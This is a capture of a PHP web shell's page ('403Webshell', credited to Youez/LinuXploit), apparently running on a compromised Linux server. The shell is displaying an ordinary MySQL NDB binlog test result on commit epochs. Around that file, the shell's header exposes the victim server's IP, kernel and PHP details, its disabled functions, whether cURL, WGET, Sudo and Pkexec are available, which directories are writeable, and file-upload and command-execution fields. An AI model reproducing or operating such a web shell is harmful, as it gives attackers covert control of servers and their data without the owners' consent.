403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.103
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/ndb_binlog/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/ndb_binlog/r/ndb_binlog_last_commit_epoch.result
Reset binlog and show no state held
reset master;
select count(1) from mysql.ndb_binlog_index;
count(1)
0
Create table for experiments
use test;
create table test.t1 (a int primary key, b varchar(1000), c text) engine=ndb;
Basic test that an insert affects Server + Session epochs
insert into test.t1 values (1, repeat("B", 1000), repeat("E", 500));
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
1
Basic test that a read with exclusive lock has no effect
begin;
select count(1) from test.t1 where a=1 for update;
count(1)
1
commit;
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
0
Basic test that a read with shared lock has no effect
begin;
select count(1) from test.t1 where a=1 lock in share mode;
count(1)
1
commit;
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
0
Basic test that a committedread has no effect
begin;
select count(1) from test.t1 where a=1;
count(1)
1
commit;
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
0
Basic test that an update affects Server + Session epochs
update test.t1 set b=repeat("E", 1000), c=repeat("A", 5000) where a=1;
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
1
Basic test that a delete affects Server + Session epochs
delete from test.t1 where a=1;
init_server_epoch_includes_session_epoch	curr_server_epoch_includes_session_epoch	server_epoch_does_not_regress	session_epoch_does_not_regress
1	1	1	1
binlog_contains_last_session_epoch
1
Show that server epoch is preserved across connections
but session epoch is not
server_epoch_preserved
1
session_epoch_reset
1
drop table test.t1;

Youez - 2016 - github.com/yon3zu
LinuXploit